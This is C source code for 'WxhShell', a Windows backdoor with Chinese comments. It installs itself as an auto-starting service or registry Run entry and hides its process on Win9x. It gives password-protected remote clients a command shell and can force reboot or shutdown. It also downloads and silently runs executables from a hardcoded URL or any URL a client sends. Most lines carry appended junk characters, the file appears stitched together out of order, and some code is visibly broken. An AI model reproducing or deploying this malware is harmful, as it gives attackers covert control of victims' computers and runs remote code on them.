    if(Boot(SHUTDOWN)) 0@_8JB ?E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:!5 |o|  
    else { }6l:'nW  
    closesocket(wsh); Hl$qmq  
    ExitThread(0); .EhC\QpP  
    } pKLcg"{[F  
    break; kg Bkwp  
    } O[Z$~  
  // 获取shell jpi,BVTI-X  
  case 's': { :/6:&7s  
    CmdShell(wsh); .;?ha'  
    closesocket(wsh); >XZ2w_  
    ExitThread(0); A#$l;M.3R  
    break; +!@xH];  
  } tic3a1  
  // 退出 bHTf{=  
  case 'x': { u9;3Xn8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a/E(GQ,,  
    CloseIt(wsh); C^C'!  
    break; Gad&3M0r  
    } 5@.8O VPz  
  // 离开 ^/2O_C  
  case 'q': { g?1bEOA!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v*excl~  
    closesocket(wsh); '1!%yKc0  
    WSACleanup(); Z+R-}<   
    exit(1); \.P'8As  
    break; H"+|n2E^  
        } b0f6?s  
  } \ bNDeA&l  
  } 5UL5C:3R9  
Gyu =}  
  // 提示信息 2P57C;N8|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @bkSA  
} 4xx?x/q  
  } fNr*\=$  
Mn\L55?E(  
  return; t2ui9:g4j  
} _58&^:/^  
7B _Wz9y  
// shell模块句柄 {KqW<X6Hp  
int CmdShell(SOCKET sock) \XY2s&"  
{ w2"]%WS%  
STARTUPINFO si; ku v<  
ZeroMemory(&si,sizeof(si)); MoC/xF&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -J!k|GK#MX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pv|D{39Hs  
PROCESS_INFORMATION ProcessInfo; uN9.U  _  
char cmdline[]="cmd"; ;f3))x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +/*A}!#v  
  return 0; $>~4RXC  
} kJXy )  
LrfyH"#!:  
// 自身启动模式 z81`Lhg6  
int StartFromService(void) Qa16x<Xlm  
{ 5o~AUo{  
typedef struct JENq?$S  
{ fwyz|>H_Y(  
  DWORD ExitStatus; 5#? HL  
  DWORD PebBaseAddress; fl9J  
  DWORD AffinityMask; 0.Nik^~  
  DWORD BasePriority; `WU"*HqW  
  ULONG UniqueProcessId; [k +fkr]  
  ULONG InheritedFromUniqueProcessId; U}`HN*Q.q  
}   PROCESS_BASIC_INFORMATION; W{'tS{  
rUF= uO(  
PROCNTQSIP NtQueryInformationProcess; W^nG\"T^  
;(Qm<JAa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z"<tEOs/En  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | \JB/x  
 F_%&,"$  
  HANDLE             hProcess; :] +D+[c)  
  PROCESS_BASIC_INFORMATION pbi; 2:S 4M.j  
4THGHS^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FZtIC77X5  
  if(NULL == hInst ) return 0; 3m`y?Dd  
yX8$LOjE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A0Hsd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); of:xj$dQ_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0~XZ  
ZA4vQDW  
  if (!NtQueryInformationProcess) return 0; '%9e8C|  
RV:%^=V-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -z4pI=  
  if(!hProcess) return 0; 1vBXO bk  
6jtnH'E/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o;@T6-VH  
Dx27s  
  CloseHandle(hProcess); "o[j'  
5zF7yvS.w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $McVK>=  
if(hProcess==NULL) return 0; ebS>_jD  
9rmOf Jo:  
HMODULE hMod; uD''0G\  
char procName[255]; +H~})PeQ  
unsigned long cbNeeded; C_= WL(  
?8Hr 9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0xM\+R~,  
_ZfJfd~  
  CloseHandle(hProcess); *1KrI9i  
\Z^YaKj&  
if(strstr(procName,"services")) return 1; // 以服务启动 eZm,K'/!  
>\ :kP>U  
  return 0; // 注册表启动 =5jX#Dc5.+  
} 1/YWDxo,  
l(@UpV-  
// 主模块 RS~jHwIh  
int StartWxhshell(LPSTR lpCmdLine) !$x9s'D  
{ Xj&fWu A  
  SOCKET wsl; q]Cmaf(  
BOOL val=TRUE; ~ b ;%J:  
  int port=0; &AI/;zru  
  struct sockaddr_in door; VSCOuNSc  
&C+pen) Z  
  if(wscfg.ws_autoins) Install(); #AzZ4<;7  
gD0 FRKn  
port=atoi(lpCmdLine); g jJ?*N[  
!PI& y  
if(port<=0) port=wscfg.ws_port; YAqv:  
2 Ke?*  
  WSADATA data; ~1Q$FgLk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A7|!&fi  
G-[fz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |~Hlv^6H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CfA^Xp@vc  
  door.sin_family = AF_INET; y1!c:&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .AOf-a  
  door.sin_port = htons(port); pDO&I]S`q0  
vlAYKtl3]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QXnL(z  
closesocket(wsl); `w1|(Sk$h  
return 1; C d)j %  
} /AX1LYlr  
_Kg:jal  
  if(listen(wsl,2) == INVALID_SOCKET) { GpV"KVJJ/  
closesocket(wsl); 9pD=E>4?#  
return 1; ~{hcJ:bI  
} @sRUl ,M;Z  
  Wxhshell(wsl); 4i>sOP3 B  
  WSACleanup(); j'#M'W3@  
<J4|FOz!=  
return 0; R87-L*9B^0  
)54;YK  
} ORhe?E]  
&)@|WLW  
// 以NT服务方式启动 01VEz 8[\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s+;J`_M  
{ 47b=>D8  
DWORD   status = 0; <\< [J0  
  DWORD   specificError = 0xfffffff; s*.CJ  
,b2YUb]U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j^ VAA\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ~{7/v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E?1"&D m  
  serviceStatus.dwWin32ExitCode     = 0; C 7)w8y  
  serviceStatus.dwServiceSpecificExitCode = 0; 7/nnl0u8  
  serviceStatus.dwCheckPoint       = 0; T2-n;8t  
  serviceStatus.dwWaitHint       = 0; Sq"O<FmI  
[EUp4%Z #  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B2\R#&X.  
  if (hServiceStatusHandle==0) return; O(U 'G|  
Gzxq] Mg  
status = GetLastError(); }!=}g|z#|  
  if (status!=NO_ERROR) bi`{ k\3A  
{ kk_$j_0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZPHiR4fQli  
    serviceStatus.dwCheckPoint       = 0; ]PQ] f*Ik>  
    serviceStatus.dwWaitHint       = 0; H4[];&]xr  
    serviceStatus.dwWin32ExitCode     = status; +L(0R&C  
    serviceStatus.dwServiceSpecificExitCode = specificError; nX,2jT;@L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9aYDi)  
    return; Id`?yt  
  } EugQr<sM#  
6%  +s`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IR ; DdF  
  serviceStatus.dwCheckPoint       = 0; bvZTB<rA  
  serviceStatus.dwWaitHint       = 0; )NG{iD{_]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L'XX++2  
} Wez"E2J`  
^+Ho#]  
// 处理NT服务事件,比如:启动、停止 }1<_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FwU*]wx|{  
{ *LnY}#  
switch(fdwControl) d5?"GFy  
{ NPjh2 AJm  
case SERVICE_CONTROL_STOP: #P:o  
  serviceStatus.dwWin32ExitCode = 0; q}Wd`>VDR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +[l52p@a  
  serviceStatus.dwCheckPoint   = 0; 3fC|}<Wzt  
  serviceStatus.dwWaitHint     = 0; xsjJ8>G  
  { {4u8~whLp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \@]/ks=K  
  } 5X^bvW26  
  return; !_{2\ &  
case SERVICE_CONTROL_PAUSE: XAN{uD^3\%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; - zaqL\  
  break; FQNw89g  
case SERVICE_CONTROL_CONTINUE: W)rE_tw,|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ni @Mqb  
  break; C^Jf&a  
case SERVICE_CONTROL_INTERROGATE: ZSL:q%:.  
  break; 7ky$9+~  
}; Z,~"`9>Ss  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W?W vT` T{  
} "zJGYBen  
RfPRCIo  
// 标准应用程序主函数 qK ,mG {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~'/I[y4t  
{ z?~W]PWiZ  
D}Jhg`9  
// 获取操作系统版本 H*U\P2C!)  
OsIsNt=GetOsVer(); %,9iY&;U"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |.D_[QI  
o!Vs{RRu}  
  // 从命令行安装 r30t`o12i  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3HsjF5?W  
g*9jPwdG  
  // 下载执行文件 x~."P*5  
if(wscfg.ws_downexe) { W68d"J%>_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @a.Y9;O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5BKmp-m  
} vfT<%Kl!'  
U:]b&I  
if(!OsIsNt) { V'h O  
// 如果时win9x,隐藏进程并且设置为注册表启动 v2<roG6.V  
HideProc(); _q([k_4h  
StartWxhshell(lpCmdLine); <DS+"#  
} e=t?mDh#E  
else tK&.0)*=  
  if(StartFromService()) v |/IN  
  // 以服务方式启动 ;S+c<MSl  
  StartServiceCtrlDispatcher(DispatchTable); t;+6>sTu  
else |Iy55~hK`  
  // 普通方式启动 H3 _7a9  
  StartWxhshell(lpCmdLine); C]UBu-]#S  
z`uqK!v(K  
return 0; (^g?/i1@d  
} 9E _C u2B  
zOq~?>Ms6  
!l'Az3'J|  
iL1.R+  
=========================================== h Ia{s)  
x+5Q}ux'G  
aDa}@-F&a  
dJ`Fvj  
U'LO;s04m  
~c!zTe  
" my")/e  
a<Pi J?  
#include <stdio.h> H<`[,t  
#include <string.h> %dZD;Vhg  
#include <windows.h> 8aGZ% UI  
#include <winsock2.h> > c7/E  
#include <winsvc.h> `<t{NJ&f  
#include <urlmon.h> ~0?p @8  
f7X#cs)a  
#pragma comment (lib, "Ws2_32.lib") CzzG  
#pragma comment (lib, "urlmon.lib") ;JFE7\-mC  
:=~%&  
#define MAX_USER   100 // 最大客户端连接数 {R8Q`2R  
#define BUF_SOCK   200 // sock buffer 2Z@<llsi  
#define KEY_BUFF   255 // 输入 buffer |dD!@K  
z$G?J+?J  
#define REBOOT     0   // 重启 /db?ltb  
#define SHUTDOWN   1   // 关机 [CPZj*|b  
P; }Z 3!  
#define DEF_PORT   5000 // 监听端口 &X+V}  
`P/*x[?  
#define REG_LEN     16   // 注册表键长度 /BT;Q)( &  
#define SVC_LEN     80   // NT服务名长度 0&/1{Dk*n  
NJUYeim;  
// 从dll定义API g) v"nNS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CX':nai  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ErESk"2t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CG9X3%xO%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z(K[oUJx  
1>%SSQ  
// wxhshell配置信息 T|.Q81.NE  
struct WSCFG { g#[9O'H  
  int ws_port;         // 监听端口 #EHBS~^  
  char ws_passstr[REG_LEN]; // 口令 qsvUJU  
  int ws_autoins;       // 安装标记, 1=yes 0=no V"$t>pAG  
  char ws_regname[REG_LEN]; // 注册表键名 {'DP/]nK  
  char ws_svcname[REG_LEN]; // 服务名 f=K1ZD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sF+0v p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K+v 250J$-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a+{g~/z;,Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Qyz2- w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eU%5CVH.v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @1]<LQ\\  
_9z/>e  
}; j%p~.kW5  
e<9nt [  
// default Wxhshell configuration N7oMtlvL[w  
struct WSCFG wscfg={DEF_PORT, :ZL>JVk  
    "xuhuanlingzhe", {t=Nnc15K  
    1, 7Ck;LF}>0  
    "Wxhshell", #Ejly2C,  
    "Wxhshell", SAH\'v0  
            "WxhShell Service", JA(nDD/;  
    "Wrsky Windows CmdShell Service", >`{i[60r  
    "Please Input Your Password: ", Y43#];  
  1, WN?T*bz2  
  "http://www.wrsky.com/wxhshell.exe", WHNb.>  
  "Wxhshell.exe" pM46I"  
    }; :.35pp,0  
zr[~wM  
// 消息定义模块 g$ 2M|Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %I.{umU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `S~u4+y]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JxLH]1b  
char *msg_ws_ext="\n\rExit."; <khx%<)P  
char *msg_ws_end="\n\rQuit."; i3%~Gc63  
char *msg_ws_boot="\n\rReboot..."; j2P|cBXu  
char *msg_ws_poff="\n\rShutdown..."; l?R_wu,Q  
char *msg_ws_down="\n\rSave to "; L3GJq{t  
\ yOZ&qU  
char *msg_ws_err="\n\rErr!"; ks r5P~  
char *msg_ws_ok="\n\rOK!"; UpIf t=@P  
Z~c7r n  
char ExeFile[MAX_PATH]; 4`UT_LcI  
int nUser = 0; p|FX_4RjX  
HANDLE handles[MAX_USER]; }2 r08,m  
int OsIsNt; ib&qH_r/  
>WDpBn:  
SERVICE_STATUS       serviceStatus; u!-eP7;7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )/ZSb1!  
AO]lXa  
// 函数声明 W" !amMQ  
int Install(void); os.x|R]_  
int Uninstall(void); kp6x6%{K\  
int DownloadFile(char *sURL, SOCKET wsh); dXDD/8E  
int Boot(int flag);  vXvV5Oq  
void HideProc(void); b5|p#&YK~  
int GetOsVer(void); EK#m?O:>  
int Wxhshell(SOCKET wsl); :3t])mL#   
void TalkWithClient(void *cs); /iN\)y#u1  
int CmdShell(SOCKET sock); .UYpPuAkn  
int StartFromService(void); ?qbp  
int StartWxhshell(LPSTR lpCmdLine); L)+ eM&W  
-,;Ep'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V[mQ;:=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8`t%QhE2  
LF~#4)B  
// 数据结构和表定义 B1M/5cr.  
SERVICE_TABLE_ENTRY DispatchTable[] = 3k<#;(  
{ d<Os TA  
{wscfg.ws_svcname, NTServiceMain}, _UBI,Dg]  
{NULL, NULL} =c,gK8C  
}; uJ`&hX  
+i^s\c!3;  
// 自我安装 SIl g  
int Install(void) U. aa iX7  
{ ;Wa{q.)  
  char svExeFile[MAX_PATH]; c7F&~RLC  
  HKEY key; )^\='(s  
  strcpy(svExeFile,ExeFile); *[H+8/n_  
LU{Z  
// 如果是win9x系统,修改注册表设为自启动 C6VoOT )\  
if(!OsIsNt) { -T?IkL)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fsf22  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #:|Y(,c  
  RegCloseKey(key); i .N1Cvp&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 32iI :u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hl;p>>n  
  RegCloseKey(key); Q:gn>/  
  return 0; o"FiM5L^.  
    } 9oP{Al  
  } pQ 6#L  
} Q: O>kCDV  
else { EKPTDKut  
#mhD; .Wg  
// 如果是NT以上系统,安装为系统服务 Z0eBx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 358/t/4 {p  
if (schSCManager!=0) 0Qp'}_  
{ CFm1c1%Hg  
  SC_HANDLE schService = CreateService ~ n^G<iXLp  
  ( } +4Bf+u:  
  schSCManager, ,-3(^d\1F  
  wscfg.ws_svcname, 8-a6Q|   
  wscfg.ws_svcdisp, WrNgV@P  
  SERVICE_ALL_ACCESS, o#P3lz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i=UTc1  
  SERVICE_AUTO_START, aNC,ccm  
  SERVICE_ERROR_NORMAL,  - 1  
  svExeFile, y,?G75wij  
  NULL, `b")Bx|  
  NULL, 4E-A@FR  
  NULL, 1MI7l)D?  
  NULL, 0@K:Tq-mF  
  NULL r?nV Sb|[  
  ); 'ZH<g8:=@  
  if (schService!=0) rz }l<t~H  
  { rm=~^eB  
  CloseServiceHandle(schService); Q|B|#?E==  
  CloseServiceHandle(schSCManager); DRW.NL o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]cqZ!4?_  
  strcat(svExeFile,wscfg.ws_svcname); ~}IvY?! ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7ml0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); };m7FO  
  RegCloseKey(key); L%K_.!d^  
  return 0; [k~+(.2I  
    } ^q&wITGI  
  } @=0r3  
  CloseServiceHandle(schSCManager); <,pLW~2-"  
} {,f!'i&b@  
} X c2B2c  
mU+FQX  
return 1; 8<-oJs_o+  
} an=+6lIl  
Q)6wkY+!  
// 自我卸载 \ ~LU 'j  
int Uninstall(void) +:"6`um|  
{ ]PzTl {]  
  HKEY key; OHP3T(Q5  
B!r48<p  
if(!OsIsNt) { ui56<gI-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f_4S>C$  
  RegDeleteValue(key,wscfg.ws_regname); ]\a\6&R  
  RegCloseKey(key); /SCZ&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g2aT`=&Z  
  RegDeleteValue(key,wscfg.ws_regname); ^EUOmVN  
  RegCloseKey(key); 7z g)h  
  return 0; }+dM1O  
  } _ 7BF+*T  
} sw$R2K{y  
} Pv7f _hw  
else {  ?+ -/';  
{V%%^Zhwy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8tV=fSHd  
if (schSCManager!=0) AJ>BF.>  
{ )'j_D<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); # Z|%0r_~  
  if (schService!=0) . QQ?w  
  { d^Zo35X  
  if(DeleteService(schService)!=0) { QDjW!BsX3  
  CloseServiceHandle(schService); +Mk*{ A t  
  CloseServiceHandle(schSCManager); s<Ex"+  
  return 0; '<?v:pb9  
  } N"YK@)*Q  
  CloseServiceHandle(schService); ;!l*7}5X=  
  } B?$01?9V  
  CloseServiceHandle(schSCManager); p|h.@do4   
} `W"a! ,s2  
} Hi; K"H]x1  
P\q<d  
return 1; @4 /~~  
} 'w`SBYQ5  
DA+A >5/  
// 从指定url下载文件 s6uF5]M;2  
int DownloadFile(char *sURL, SOCKET wsh) 6[+\CS7Lt  
{ }b_R5U$@@  
  HRESULT hr; LN@E\wRw{r  
char seps[]= "/"; N{1.g S  
char *token; mP9cBLz  
char *file; gt =j5  
char myURL[MAX_PATH]; qhV,u;\.  
char myFILE[MAX_PATH]; b4Ricm  
t MxsR >sH  
strcpy(myURL,sURL); Zz"I.$$[M  
  token=strtok(myURL,seps); M|/oFV  
  while(token!=NULL) |rr$U  
  { [NHg&R H  
    file=token; QuSV&>T\  
  token=strtok(NULL,seps); ^y&q5p jj  
  }  EX[B/YH  
'8s>rH5[V  
GetCurrentDirectory(MAX_PATH,myFILE); y]yine  
strcat(myFILE, "\\"); wVx,JL5Jr  
strcat(myFILE, file); 6N9 c<JC  
  send(wsh,myFILE,strlen(myFILE),0); W*YxBn4  
send(wsh,"...",3,0); &}vR(y*#c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! G*&4V3Mg  
  if(hr==S_OK) c*N50%=4  
return 0; 5JS ZLC  
else 9.xvV|Sp  
return 1; q}#iV$dAj  
ki\B!<uv  
} }P#Vsqe V  
qOW#Q:T  
// 系统电源模块 Dq?E\  
int Boot(int flag) 9z #P  
{ 0z<H(|  
  HANDLE hToken; i*X{^A73"  
  TOKEN_PRIVILEGES tkp; 8QT<M]N%  
z(+&wa  
  if(OsIsNt) { Ks#A<! ;=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \,2gTi,=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ar Q)%W  
    tkp.PrivilegeCount = 1; XcOA)'Py  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >L8?=>>?\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a>U6Ag<  
if(flag==REBOOT) { O#vn)+Y,*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xPt*CB  
  return 0; /-Wuq`P/ T  
} eI^gV'UK  
else { ~F;CE"3A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _mXs4  
  return 0; R\*)@[y9l  
} .l \r9I(  
  } [9OSpq  
  else { 7Re-5vz R  
if(flag==REBOOT) { E4r.ky`#~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )Ob]T{GY  
  return 0; '99@=3AB:`  
} \ZMP_UU(  
else { E tx`K5Tr]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s O=4IBE  
  return 0; Tr%FUi  
} )|pU.K9qZ  
} KnJx{8@z  
_42Z={pZZq  
return 1; T6uMFD4 |  
} ox[ .)v  
F}'wH-qp  
// win9x进程隐藏模块 } Gr&w-v  
void HideProc(void) Q.A \U>AgV  
{ X FQNr`  
s)k y/ce  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I^G^J M!  
  if ( hKernel != NULL ) oxfF`L"  
  { n(>C'<otj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  q>-R3HB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); & fu z2xv  
    FreeLibrary(hKernel); >F[GVmC  
  } =u=Kw R  
O9^T3~x[V  
return; d2~l4IL)~  
} 5/?P|T   
T@P!L  
// 获取操作系统版本 % :/_f  
int GetOsVer(void) L^FcS\r;  
{ #!})3_Qc(y  
  OSVERSIONINFO winfo; j (ygQ4T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XA{F:%  
  GetVersionEx(&winfo); AbfZ++aJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ie.|4k  
  return 1; TQc@lR!  
  else E'EcP4eL  
  return 0; Svw<XJ   
} m#\[m<F  
|4mVT&63(  
// 客户端句柄模块 X>zlb$  
int Wxhshell(SOCKET wsl) =6\LIbO  
{ [T^?Q%h  
  SOCKET wsh; f~ZEdq8  
  struct sockaddr_in client; $a(`ve|  
  DWORD myID; %e? fH.)  
{@.Vh]  
  while(nUser<MAX_USER) z9DcnAs  
{ sg AzL  
  int nSize=sizeof(client); zzIr2so  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K_ke2{4Jm  
  if(wsh==INVALID_SOCKET) return 1; (=c1  
=&vFVIhWcf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |=K_F3aJ  
if(handles[nUser]==0) vFQ,5n;fF  
  closesocket(wsh); P@0Y./Ds  
else JOD/Raq.1k  
  nUser++; <9eu1^g  
  } +Xy*?5E;C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &<]<a_pw  
F)Oe9x\/  
  return 0; s_Wyh !@M  
} X2yTlLdY  
uQ/h'v  
// 关闭 socket Q5a)}6-5  
void CloseIt(SOCKET wsh) )uheV,ZnY  
{ x#H 3=YD*  
closesocket(wsh); ,[!LCXp  
nUser--; #hw>tA6  
ExitThread(0); >:1P/U  
} dl~|Izm  
yj_4gxJ\  
// 客户端请求句柄  QLKK.]  
void TalkWithClient(void *cs) & ,hr8  
{ q(IQa@$SR  
I)SG wt-  
  SOCKET wsh=(SOCKET)cs; wvby?MhPY  
  char pwd[SVC_LEN]; bPbb\|u0d  
  char cmd[KEY_BUFF]; 6iA( o*'Yn  
char chr[1]; 19UN*g3(  
int i,j; xTz%nx  
g(4bBa9y  
  while (nUser < MAX_USER) { [wnDHy6W  
WyhhCR=;  
if(wscfg.ws_passstr) { %; "@Ah  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f!_ ctp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rl~T$ Ey  
  //ZeroMemory(pwd,KEY_BUFF); ~+6Vdx m  
      i=0; X[yNFW}S2W  
  while(i<SVC_LEN) { 3G}AH E4  
Kg\R+i@#<  
  // 设置超时 +-?/e-z")  
  fd_set FdRead; }hpm O-  
  struct timeval TimeOut; p *w$:L  
  FD_ZERO(&FdRead); ""iaGH+Cxw  
  FD_SET(wsh,&FdRead); V ~{fB~  
  TimeOut.tv_sec=8; %3r:s`{  
  TimeOut.tv_usec=0; Di.3113t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $A_]:qI2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ay )/q5  
*Mc7f?H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#A]{l  
  pwd=chr[0]; SkQswH  
  if(chr[0]==0xd || chr[0]==0xa) { "/{RhY<  
  pwd=0; dEa<g99[?  
  break; ]b?9zeT*'l  
  } kS5_&#  
  i++; q!~ -(&S  
    } -e GL)M  
FDzqL;I  
  // 如果是非法用户,关闭 socket |OO in]5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dq;|?ESP  
} HeGY u?&  
_*M42<wcO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |KI UgI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 )*2@-Rp  
2-*V=El  
while(1) { K6JVg$  
. 5y"38e  
  ZeroMemory(cmd,KEY_BUFF); U @v*0  
75T_Dx(H  
      // 自动支持客户端 telnet标准   #FOqP!p.E  
  j=0; {@Yb%{+  
  while(j<KEY_BUFF) { Df =dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WS8+7O'1\  
  cmd[j]=chr[0]; ./vZe_o)j$  
  if(chr[0]==0xa || chr[0]==0xd) { /&#XhrT  
  cmd[j]=0; ^[E' 1$D  
  break; Dn9w@KO  
  } 0-Y:v(|.  
  j++; P;[OWSR[d  
    } ^$>XW\yCs  
4BYE1fUzd  
  // 下载文件 2aZw[7s  
  if(strstr(cmd,"http://")) { Di_2Plo)4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '+>fFM,*B  
  if(DownloadFile(cmd,wsh)) J&/lx${  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0oO &)*  
  else |'ln?D:&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =\#%j|9N9  
  } GDhE[of  
  else { z{"2S="  
iB0WEj[?  
    switch(cmd[0]) { &c(WE RW?-  
  \I-#1M  
